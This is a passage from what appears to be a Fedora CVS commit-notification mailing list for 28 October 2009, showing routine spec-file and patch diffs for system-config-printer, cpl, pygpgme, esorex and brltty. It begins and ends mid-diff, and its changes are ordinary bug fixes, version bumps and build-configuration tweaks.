--- system-config-printer-1.1.13/PhysicalDevice.py.physdev-traceback	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/PhysicalDevice.py	2009-09-30 16:52:24.486760364 +0100
@@ -48,6 +48,8 @@ class PhysicalDevice:
                     hostport = ipparam[3:]
                 else:
                     return None
+            else:
+                return None
         else:
             (hostport, rest) = urllib.splithost (rest)
             if hostport == None:

system-config-printer-strip-zxs-pcl3.patch:
 ppds.py |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE system-config-printer-strip-zxs-pcl3.patch ---
diff -up system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zxs-pcl3 system-config-printer-1.1.13/cupshelpers/ppds.py
--- system-config-printer-1.1.13/cupshelpers/ppds.py.strip-zxs-pcl3	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/cupshelpers/ppds.py	2009-10-28 15:53:28.990139713 +0000
@@ -184,6 +184,8 @@ def ppdMakeModelSplit (ppd_make_and_mode
                    " ps3",
                    " pxl",
                    " series",
+                   " zxs",              # hpcups
+                   " pcl3",             # hpcups
                    "_bt",
                    ","]:
         s = modell.find (suffix)

system-config-printer-troubleshoot-network-printers.patch:
 ChooseNetworkPrinter.py |    9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

--- NEW FILE system-config-printer-troubleshoot-network-printers.patch ---
diff -up system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py.troubleshoot-network-printers system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py
--- system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py.troubleshoot-network-printers	2009-09-01 12:08:33.000000000 +0100
+++ system-config-printer-1.1.13/troubleshoot/ChooseNetworkPrinter.py	2009-10-28 15:57:10.771014583 +0000
@@ -2,8 +2,8 @@
 
 ## Printing troubleshooter
 
-## Copyright (C) 2008 Red Hat, Inc.
-## Copyright (C) 2008 Tim Waugh <twaugh at redhat.com>
+## Copyright (C) 2008, 2009 Red Hat, Inc.
+## Author: Tim Waugh <twaugh at redhat.com>
 
 ## This program is free software; you can redistribute it and/or modify
 ## it under the terms of the GNU General Public License as published by
@@ -77,8 +77,9 @@ class ChooseNetworkPrinter(Question):
         parent = self.troubleshooter.get_window ()
 
         try:
-            cups.setServer (server)
-            self.op = TimedOperation (cups.Connection, parent=parent)
+            self.op = TimedOperation (cups.Connection, 
+                                      kwargs={"host": server},
+                                      parent=parent)
             c = self.op.run ()
             self.op = TimedOperation (c.getDests, parent=parent)
             dests = self.op.run ()


Index: system-config-printer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/system-config-printer/devel/system-config-printer.spec,v
retrieving revision 1.299
retrieving revision 1.300
diff -u -p -r1.299 -r1.300
--- system-config-printer.spec	22 Sep 2009 10:05:56 -0000	1.299
+++ system-config-printer.spec	28 Oct 2009 16:43:38 -0000	1.300
@@ -7,7 +7,7 @@
 Summary: A printer administration tool
 Name: system-config-printer
 Version: 1.1.13
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 URL: http://cyberelk.net/tim/software/system-config-printer/
 Group: System Environment/Base
@@ -21,6 +21,14 @@ Patch3: system-config-printer-publish-pr
 Patch4: system-config-printer-iconify.patch
 Patch5: system-config-printer-fetchdevices.patch
 Patch6: system-config-printer-missing-import.patch
+Patch7: system-config-printer-find-return-accel.patch
+Patch8: system-config-printer-physdev-traceback.patch
+Patch9: system-config-printer-autoselect-raw.patch
+Patch10: system-config-printer-network-model.patch
+Patch11: system-config-printer-no-cancel-properties-dialog.patch
+Patch12: system-config-printer-jobs-window-visibility.patch
+Patch13: system-config-printer-strip-zxs-pcl3.patch
+Patch14: system-config-printer-troubleshoot-network-printers.patch
 
 BuildRequires: cups-devel >= 1.2
 BuildRequires: python-devel >= 2.4
@@ -87,6 +95,14 @@ printers.
 %patch4 -p1 -b .iconify
 %patch5 -p1 -b .fetchdevices
 %patch6 -p1 -b .missing-import
+%patch7 -p1 -b .find-return-accel
+%patch8 -p1 -b .physdev-traceback
+%patch9 -p1 -b .autoselect-raw
+%patch10 -p1 -b .network-model
+%patch11 -p1 -b .no-cancel-properties-dialog
+%patch12 -p1 -b .jobs-window-visibility
+%patch13 -p1 -b .strip-zxs-pcl3
+%patch14 -p1 -b .troubleshoot-network-printers
 
 %build
 %configure --with-udev-rules --with-polkit-1
@@ -198,6 +214,17 @@ rm -rf %buildroot
 exit 0
 
 %changelog
+* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-4
+- Troubleshoot: connect to the right server when choosing a network
+  queue (bug #531482).
+- Strip 'zxs' and 'pcl3' from make-and-model (bug #531048).
+- Fixed visibility tracking for jobs window (bug #531438).
+- Don't display properties dialog for first test page (bug #531490).
+- Determine make/model for network printers (bug #524321).
+- Auto-select the correct driver entry for raw queues.
+- Avoid traceback in PhysicalDevice.py.
+- Let Return key activate the Find button for Find Network Printer.
+
 * Tue Sep 22 2009 Tim Waugh <twaugh at redhat.com> 1.1.13-3
 - Fixed missing import in probe_printer module.
 - Fixed race when fetching device list (bug #521110).



From sergiopr at fedoraproject.org  Wed Oct 28 16:51:01 2009
From: sergiopr at fedoraproject.org (Sergio Pascual)
Date: Wed, 28 Oct 2009 16:51:01 +0000 (UTC)
Subject: rpms/cpl/devel .cvsignore, 1.6, 1.7 cpl-cfitsiodyn.patch, 1.3,
	1.4 cpl-wcslibdyn.patch, 1.1, 1.2 cpl.spec, 1.10, 1.11 sources,
	1.6, 1.7
Message-ID: <20091028165101.5AABE11C00E5@cvs1.fedora.phx.redhat.com>

Author: sergiopr

Update of /cvs/pkgs/rpms/cpl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27526

Modified Files:
	.cvsignore cpl-cfitsiodyn.patch cpl-wcslibdyn.patch cpl.spec 
	sources 
Log Message:
* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 5.0.1-1
- New upstream source



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	18 Dec 2008 19:04:07 -0000	1.6
+++ .cvsignore	28 Oct 2009 16:51:01 -0000	1.7
@@ -1 +1 @@
-cpl-4.2.0.tar.gz
+cpl-5.0.1.tar.gz

cpl-cfitsiodyn.patch:
 configure |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

Index: cpl-cfitsiodyn.patch
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/devel/cpl-cfitsiodyn.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- cpl-cfitsiodyn.patch	18 Dec 2008 19:04:07 -0000	1.3
+++ cpl-cfitsiodyn.patch	28 Oct 2009 16:51:01 -0000	1.4
@@ -1,21 +1,30 @@
-diff -ur cpl-4.2.0/configure cpl-4.2.0-new/configure
---- cpl-4.2.0/configure	2008-08-06 14:47:07.000000000 +0200
-+++ cpl-4.2.0-new/configure	2008-12-18 19:17:06.000000000 +0100
-@@ -21100,7 +21100,7 @@
- echo $ECHO_N "checking for cfitsio... $ECHO_C" >&6; }
+diff -ur cpl-5.0.1/configure cpl-5.0.1.new/configure
+--- cpl-5.0.1/configure	2009-05-06 15:27:54.000000000 +0200
++++ cpl-5.0.1.new/configure	2009-10-28 17:37:32.000000000 +0100
+@@ -20407,7 +20407,7 @@
  
      cpl_cfitsio_check_header="fitsio.h"
+     # FIXME: Check first for the dynamic library...
 -    cpl_cfitsio_check_lib="libcfitsio.a"
 +    cpl_cfitsio_check_lib="libcfitsio.so"
  
-     cpl_cfitsio_includes=""
-     cpl_cfitsio_libraries=""
-@@ -21160,6 +21160,8 @@
-         done
-     done
+     cpl_cfitsio_dir=""
+     cpl_cfitsio_incdirs=""
+@@ -20432,7 +20432,7 @@
  
-+cpl_cfitsio_includes=/usr/include/cfitsio
-+cpl_cfitsio_libraries=$libdir
+     # Check for the cfitsio includes, either in include/, include/cfitsio/
+     # or include/libcfitsio0/
+-    cpl_cfitsio_incdirs="$cpl_cfitsio_dir/include"
++    cpl_cfitsio_incdirs="$includedir/cfitsio"
+ 
+     cpl_cfitsio_includes=no
+ 
+@@ -20491,7 +20491,7 @@
+     fi
+ 
+     # Check for the cfitsio library, either in lib64/, lib32/ or lib/
+-    cpl_cfitsio_libdirs="$cpl_cfitsio_dir/lib64"
++    cpl_cfitsio_libdirs="$libdir"
+ 
+     cpl_cfitsio_libraries=no
  
-     if test x"$cpl_cfitsio_includes" = xno || test x"$cpl_cfitsio_libraries" = xno; then
-         { { echo "$as_me:$LINENO: error: cfitsio was not found on your system. Please check!" >&5

cpl-wcslibdyn.patch:
 configure |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

Index: cpl-wcslibdyn.patch
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/devel/cpl-wcslibdyn.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cpl-wcslibdyn.patch	8 May 2009 11:56:50 -0000	1.1
+++ cpl-wcslibdyn.patch	28 Oct 2009 16:51:01 -0000	1.2
@@ -1,8 +1,8 @@
-diff -ur cpl-4.2.0/configure cpl-4.2.0.new/configure
---- cpl-4.2.0/configure	2009-05-08 13:41:07.000000000 +0200
-+++ cpl-4.2.0.new/configure	2009-05-08 13:39:53.000000000 +0200
-@@ -21192,7 +21192,7 @@
- echo $ECHO_N "checking for wcs... $ECHO_C" >&6; }
+diff -ur cpl-5.0.1/configure cpl-5.0.1.new/configure
+--- cpl-5.0.1/configure	2009-10-28 17:37:32.000000000 +0100
++++ cpl-5.0.1.new/configure	2009-10-28 17:39:40.000000000 +0100
+@@ -20586,7 +20586,7 @@
+ echo $ECHO_N "checking for wcs... $ECHO_C" >&6
  
      cpl_wcs_check_header="wcslib/wcslib.h"
 -    cpl_wcs_check_lib="libwcs.a"
@@ -10,12 +10,20 @@ diff -ur cpl-4.2.0/configure cpl-4.2.0.n
  
      cpl_wcs_includes=""
      cpl_wcs_libraries=""
-@@ -21252,6 +21252,8 @@
-         done
-     done
+@@ -20608,6 +20608,7 @@
+         cpl_wcs_incdirs="$cpl_with_wcs_includes"
+     fi
  
-+cpl_wcs_includes="/usr/include"
-+cpl_wcs_libraries=$libdir
++    cpl_wcs_incdirs="$includedir"
+     cpl_wcs_includes=no
+ 
+     for i in $cpl_wcs_incdirs; do
+@@ -20632,7 +20633,7 @@
+     fi
+ 
+     cpl_wcs_libraries=no
+-
++    cpl_wcs_libdirs="$libdir"
+     for i in $cpl_wcs_libdirs; do
+         for j in $cpl_wcs_check_lib; do
  
-     if test x"$cpl_wcs_includes" = xno || test x"$cpl_wcs_libraries" = xno; then
-         { echo "$as_me:$LINENO: WARNING: wcs was not found on your system." >&5


Index: cpl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/devel/cpl.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- cpl.spec	24 Jul 2009 19:33:07 -0000	1.10
+++ cpl.spec	28 Oct 2009 16:51:01 -0000	1.11
@@ -1,6 +1,6 @@
 Name: cpl
-Version: 4.2.0
-Release: 4%{?dist}
+Version: 5.0.1
+Release: 1%{?dist}
 Summary: ESO library for automated astronomical data-reduction tasks
 
 Group: Development/Libraries
@@ -9,8 +9,7 @@ URL: http://www.eso.org/observing/cpl
 Source0: ftp://ftp.hq.eso.org/pub/cpl/%{name}-%{version}.tar.gz
 # Informed upstream 2008-12-18
 Patch0: cpl-cfitsiodyn.patch
-Patch1: cpl-multilib.patch
-Patch2: cpl-wcslibdyn.patch
+Patch1: cpl-wcslibdyn.patch
 Buildroot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 BuildRequires: cfitsio-devel wcslib-devel
@@ -37,21 +36,17 @@ application
 %setup -q
 %patch0 -p1
 %patch1 -p1
-%patch2 -p1
 
 %build
 %configure --disable-static
-%{__make} %{?_smp_mflags}
+make %{?_smp_mflags}
 
 %install
-%{__rm} -fr %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
-%{__mkdir_p} %{buildroot}%{_libdir}/cplrecipes
-%{__install} -m 644 libcext/cext/cxtypes-32.h %{buildroot}%{_includedir} || :
-%{__install} -m 644 libcext/cext/cxtypes-64.h %{buildroot}%{_includedir} || :
+rm -rf %{buildroot}
+make DESTDIR=%{buildroot} install
 
 %clean
-%{__rm} -fr %{buildroot}
+rm -rf %{buildroot}
 
 %post -p /sbin/ldconfig
 
@@ -59,9 +54,8 @@ application
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS
+%doc AUTHORS BUGS COPYING NEWS
 %{_libdir}/*so.*
-%{_libdir}/cplrecipes
 
 %files devel
 %defattr(-,root,root,-)
@@ -71,6 +65,9 @@ application
 %exclude %{_libdir}/*.la
 
 %changelog
+* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 5.0.1-1
+- New upstream source
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.2.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cpl/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Dec 2008 19:04:08 -0000	1.6
+++ sources	28 Oct 2009 16:51:01 -0000	1.7
@@ -1 +1 @@
-08ede401f92cf1d2474f15b053126130  cpl-4.2.0.tar.gz
+2a7ff5de986293fd605bbce4be5ee2ee  cpl-5.0.1.tar.gz



From toshio at fedoraproject.org  Wed Oct 28 16:51:59 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Wed, 28 Oct 2009 16:51:59 +0000 (UTC)
Subject: rpms/pygpgme/devel pygpgme.spec,1.16,1.17
Message-ID: <20091028165159.77A1E11C00E5@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/pygpgme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27720

Modified Files:
	pygpgme.spec 
Log Message:

* Wed Oct 28 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.1-17.20090824bzr68
- Include tests and examples as documentation.



Index: pygpgme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pygpgme/devel/pygpgme.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- pygpgme.spec	24 Aug 2009 20:00:48 -0000	1.16
+++ pygpgme.spec	28 Oct 2009 16:51:59 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name:           pygpgme
 Version:        0.1
-Release:        16.20090824bzr68%{?dist}
+Release:        17.20090824bzr68%{?dist}
 Summary:        Python module for working with OpenPGP messages
 
 Group:          Development/Languages
@@ -44,6 +44,8 @@ CFLAGS="$RPM_OPT_FLAGS" %{__python} setu
 rm -rf $RPM_BUILD_ROOT
 %{__python} setup.py install --skip-build --root $RPM_BUILD_ROOT
 chmod 0755 $RPM_BUILD_ROOT%{python_sitearch}/gpgme/_gpgme.so
+# No need to ship the tests
+mv $RPM_BUILD_ROOT%{python_sitearch}/gpgme/tests/ .
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -60,13 +62,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README PKG-INFO
+%doc README PKG-INFO examples tests
 %{python_sitearch}/*
-# No need to ship the tests
-%exclude %{python_sitearch}/gpgme/tests/
 
 
 %changelog
+* Wed Oct 28 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.1-17.20090824bzr68
+- Include tests and examples as documentation.
+
 * Mon Aug 24 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.1-16.20090824bzr68
 - Rebase to new upstream snapshot
 - Patches merged upstream



From toshio at fedoraproject.org  Wed Oct 28 16:56:21 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Wed, 28 Oct 2009 16:56:21 +0000 (UTC)
Subject: rpms/pygpgme/F-12 pygpgme.spec,1.16,1.17
Message-ID: <20091028165621.9E0FE11C00E5@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/pygpgme/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29720

Modified Files:
	pygpgme.spec 
Log Message:

* Wed Oct 28 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.1-17.20090824bzr68
- Include tests and examples as documentation.



Index: pygpgme.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pygpgme/F-12/pygpgme.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- pygpgme.spec	24 Aug 2009 20:00:48 -0000	1.16
+++ pygpgme.spec	28 Oct 2009 16:56:21 -0000	1.17
@@ -2,7 +2,7 @@
 
 Name:           pygpgme
 Version:        0.1
-Release:        16.20090824bzr68%{?dist}
+Release:        17.20090824bzr68%{?dist}
 Summary:        Python module for working with OpenPGP messages
 
 Group:          Development/Languages
@@ -44,6 +44,8 @@ CFLAGS="$RPM_OPT_FLAGS" %{__python} setu
 rm -rf $RPM_BUILD_ROOT
 %{__python} setup.py install --skip-build --root $RPM_BUILD_ROOT
 chmod 0755 $RPM_BUILD_ROOT%{python_sitearch}/gpgme/_gpgme.so
+# No need to ship the tests
+mv $RPM_BUILD_ROOT%{python_sitearch}/gpgme/tests/ .
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -60,13 +62,14 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README PKG-INFO
+%doc README PKG-INFO examples tests
 %{python_sitearch}/*
-# No need to ship the tests
-%exclude %{python_sitearch}/gpgme/tests/
 
 
 %changelog
+* Wed Oct 28 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.1-17.20090824bzr68
+- Include tests and examples as documentation.
+
 * Mon Aug 24 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.1-16.20090824bzr68
 - Rebase to new upstream snapshot
 - Patches merged upstream



From sergiopr at fedoraproject.org  Wed Oct 28 17:07:51 2009
From: sergiopr at fedoraproject.org (Sergio Pascual)
Date: Wed, 28 Oct 2009 17:07:51 +0000 (UTC)
Subject: rpms/cpl/devel cpl-multilib.patch,1.2,NONE
Message-ID: <20091028170751.9230A11C00E5@cvs1.fedora.phx.redhat.com>

Author: sergiopr

Update of /cvs/pkgs/rpms/cpl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31045

Removed Files:
	cpl-multilib.patch 
Log Message:
Multilib problem fixed in the last release



--- cpl-multilib.patch DELETED ---



From sergiopr at fedoraproject.org  Wed Oct 28 17:19:49 2009
From: sergiopr at fedoraproject.org (Sergio Pascual)
Date: Wed, 28 Oct 2009 17:19:49 +0000 (UTC)
Subject: rpms/esorex/devel .cvsignore, 1.5, 1.6 esorex-configure.patch, 1.4, 
	1.5 esorex.spec, 1.13, 1.14 sources, 1.5, 1.6
Message-ID: <20091028171949.7B76911C00E5@cvs1.fedora.phx.redhat.com>

Author: sergiopr

Update of /cvs/pkgs/rpms/esorex/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1003

Modified Files:
	.cvsignore esorex-configure.patch esorex.spec sources 
Log Message:
* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 3.7.2-1
- New upstream source



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/esorex/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	22 Dec 2008 20:23:15 -0000	1.5
+++ .cvsignore	28 Oct 2009 17:19:49 -0000	1.6
@@ -1 +1 @@
-esorex-3.6.12.tar.gz
+esorex-3.7.2.tar.gz

esorex-configure.patch:
 configure |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

Index: esorex-configure.patch
===================================================================
RCS file: /cvs/pkgs/rpms/esorex/devel/esorex-configure.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- esorex-configure.patch	22 Dec 2008 20:23:15 -0000	1.4
+++ esorex-configure.patch	28 Oct 2009 17:19:49 -0000	1.5
@@ -1,8 +1,8 @@
-diff -ur esorex-3.6.12/configure esorex-3.6.12.new/configure
---- esorex-3.6.12/configure	2008-10-17 11:10:28.000000000 +0200
-+++ esorex-3.6.12.new/configure	2008-12-22 21:19:44.000000000 +0100
-@@ -22587,7 +22587,7 @@
- echo $ECHO_N "checking for cfitsio... $ECHO_C" >&6; }
+diff -ur esorex-3.7.2/configure esorex-3.7.2.new/configure
+--- esorex-3.7.2/configure	2009-03-31 17:40:42.000000000 +0200
++++ esorex-3.7.2.new/configure	2009-10-28 18:16:12.000000000 +0100
+@@ -14007,7 +14007,7 @@
+ $as_echo_n "checking for cfitsio... " >&6; }
  
      cpl_cfitsio_check_header="fitsio.h"
 -    cpl_cfitsio_check_lib="libcfitsio.a"
@@ -10,30 +10,20 @@ diff -ur esorex-3.6.12/configure esorex-
  
      cpl_cfitsio_includes=""
      cpl_cfitsio_libraries=""
-@@ -22630,7 +22630,7 @@
-         # Check for the cfitsio includes
+@@ -14061,7 +14061,7 @@
+             cpl_cfitsio_incdirs="$cpl_with_cfitsio_includes"
+         fi
  
-         if test -z "$cpl_with_cfitsio_includes"; then
--            cpl_cfitsio_incdirs="/opt/cfitsio/include /usr/local/include /usr/include"
-+            cpl_cfitsio_incdirs="/opt/cfitsio/include /usr/local/include /usr/include /usr/include/cfitsio"
- 
-             test -n "$CPLDIR" && cpl_cfitsio_incdirs="$CPLDIR/include \
-                 $cpl_cfitsio_incdirs"
-@@ -22662,7 +22662,7 @@
-         # Check for the cfitsio library
- 
-         if test -z "$cpl_with_cfitsio_libs"; then
--            cpl_cfitsio_libdirs="/opt/cfitsio/lib /usr/local/lib /usr/lib"
-+            cpl_cfitsio_libdirs="/opt/cfitsio/lib /usr/local/lib $libdir"
- 
-             test -n "$CPLDIR" && cpl_cfitsio_libdirs="$CPLDIR/lib \
-                 $cpl_cfitsio_libdirs"
-@@ -22740,7 +22740,7 @@
- echo $ECHO_N "checking for CPL... $ECHO_C" >&6; }
- 
-     cpl_check_cpl_header="cpl_macros.h"
--    cpl_check_cpl_lib="libcplcore.la"
-+    cpl_check_cpl_lib="libcplcore.so"
+-
++    cpl_cfitsio_incdirs="$includedir/cfitsio"
+     cpl_cfitsio_includes=no
  
-     cpl_includes=""
-     cpl_libraries=""
+     for i in $cpl_cfitsio_incdirs; do
+@@ -14094,6 +14094,7 @@
+         fi
+ 
+ 
++    cpl_cfitsio_libdirs="$libdir"
+     cpl_cfitsio_libraries=no
+ 
+     for i in $cpl_cfitsio_libdirs; do


Index: esorex.spec
===================================================================
RCS file: /cvs/pkgs/rpms/esorex/devel/esorex.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- esorex.spec	24 Jul 2009 22:18:01 -0000	1.13
+++ esorex.spec	28 Oct 2009 17:19:49 -0000	1.14
@@ -1,6 +1,6 @@
 Name: esorex
-Version: 3.6.12
-Release: 4%{?dist}
+Version: 3.7.2
+Release: 1%{?dist}
 Summary: Recipe Execution Tool of the European Southern Observatory 
 
 Group: Applications/Engineering
@@ -10,7 +10,7 @@ Source0: ftp://ftp.hq.eso.org/pub/cpl/%{
 Patch0: esorex-configure.patch
 Buildroot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
-BuildRequires: cpl-devel
+BuildRequires: cpl-devel > 5.0
 
 %description
 EsoRex is the ESO Recipe Execution Tool. It can list, configure and 
@@ -26,22 +26,25 @@ CPL data-reduction development environme
 
 %build
 %configure  --with-cpl-libs=%{_libdir}
-%{__make} %{?_smp_mflags}
+make %{?_smp_mflags}
 
 %install
-%{__rm} -fr %{buildroot}
-%{__make} DESTDIR=%{buildroot} install
+rm -rf %{buildroot}
+make DESTDIR=%{buildroot} install
 
 %clean
-%{__rm} -fr %{buildroot}
+rm -rf %{buildroot}
 
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %doc AUTHORS COPYING README BUGS ChangeLog
 %{_bindir}/*
 %{_datadir}/*
 
 %changelog
+* Wed Oct 28 2009 Sergio Pascual <sergiopr at fedoraproject.org> 3.7.2-1
+- New upstream source
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.6.12-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/esorex/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	22 Dec 2008 20:23:15 -0000	1.5
+++ sources	28 Oct 2009 17:19:49 -0000	1.6
@@ -1 +1 @@
-a33a62d5ea4fc53ce115d8c89a2da490  esorex-3.6.12.tar.gz
+75706ba4956e3b7c37537f714e040ef1  esorex-3.7.2.tar.gz



From kasal at fedoraproject.org  Wed Oct 28 17:26:39 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed, 28 Oct 2009 17:26:39 +0000 (UTC)
Subject: rpms/brltty/devel brltty-autoconf-quote.patch, NONE, 1.1 .cvsignore,
	1.8, 1.9 brltty.spec, 1.37, 1.38 sources, 1.8, 1.9
Message-ID: <20091028172639.CA83611C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/brltty/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2417/devel

Modified Files:
	.cvsignore brltty.spec sources 
Added Files:
	brltty-autoconf-quote.patch 
Log Message:
sync with devel

brltty-autoconf-quote.patch:
 aclocal.m4 |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE brltty-autoconf-quote.patch ---
2009-10-28  Stepan Kasal  <skasal at redhat.com>

	* aclocal.m4 (BRLTTY_SUMMARY_END): Use single quotes when
	passing the value of brltty_summary_lines, so that is not
	garbled.

--- brltty-4.1/aclocal.m4.orig	2009-10-08 04:32:49.000000000 +0200
+++ brltty-4.1/aclocal.m4	2009-10-28 14:28:30.000000000 +0100
@@ -396,7 +396,7 @@
 AC_DEFUN([BRLTTY_SUMMARY_END], [dnl
 AC_CONFIG_COMMANDS([brltty-summary],
    [AC_MSG_NOTICE([${brltty_summary_lines}])],
-   [brltty_summary_lines="${brltty_summary_lines}"]
+   [brltty_summary_lines='${brltty_summary_lines}']
 )])
 
 AC_DEFUN([BRLTTY_SUMMARY_ITEM], [dnl


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	9 Oct 2009 11:52:48 -0000	1.8
+++ .cvsignore	28 Oct 2009 17:26:39 -0000	1.9
@@ -1 +1 @@
-brltty-4.0.tar.gz
+brltty-4.1.tar.gz


Index: brltty.spec
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/brltty.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- brltty.spec	20 Oct 2009 13:20:53 -0000	1.37
+++ brltty.spec	28 Oct 2009 17:26:39 -0000	1.38
@@ -1,5 +1,5 @@
-%define pkg_version 4.0
-%define api_version 0.5.3
+%define pkg_version 4.1
+%define api_version 0.5.4
 
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?pyver: %define pyver %(%{__python} -c "import sys; v=sys.version_info[:2]; print '%d.%d'%v")}
@@ -9,42 +9,44 @@
 
 Name: brltty
 Version: %{pkg_version}
-Release: 2%{?dist}
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://mielke.cc/brltty/
 Source: http://mielke.cc/brltty/releases/%{name}-%{version}.tar.gz
 Patch4: brltty-cppflags.patch
 Patch5: brltty-parallel.patch
+Patch6: brltty-autoconf-quote.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Summary: Braille display driver for Linux/Unix
-BuildRequires: byacc, glibc-kernheaders
-# BuildRequires: ocaml
+BuildRequires: byacc glibc-kernheaders
+BuildRequires: autoconf
+Requires: brlapi = %{api_version}-%{release}
 
 %description
 BRLTTY is a background process (daemon) which provides
 access to the Linux/Unix console (when in text mode)
 for a blind person using a refreshable braille display.
-It drives the braille display,
-and provides complete screen review functionality.
+It drives the braille display and provides complete
+screen review functionality.
 Some speech capability has also been incorporated.
 
 %package xw
-Requires: %{name}
 Summary: XWindow driver for BRLTTY
 Group: System Environment/Daemons
 License: GPLv2+
 BuildRequires: libSM-devel libICE-devel libX11-devel libXaw-devel libXext-devel libXt-devel libXtst-devel
+Requires: %{name} = %{pkg_version}-%{release}
 %description xw
 This package provides the XWindow driver for BRLTTY.
 
 %package at-spi
-Requires: %{name}
 Summary: AtSpi driver for BRLTTY
 Group: System Environment/Daemons
 # The data files are licensed under LGPLv2+, see the README file.
 License: GPLv2+ and LGPLv2+
 BuildRequires: at-spi-devel
+Requires: %{name} = %{pkg_version}-%{release}
 %description at-spi
 This package provides the AtSpi driver for BRLTTY.
 
@@ -117,31 +119,41 @@ This package provides the Java binding f
 %setup -q
 %patch4 -p1 -b .cppflags
 %patch5 -p1 -b .parallel
+%patch6 -p1 -b .quote
 
 %build
+# Patch6 changes aclocal.m4:
+autoconf
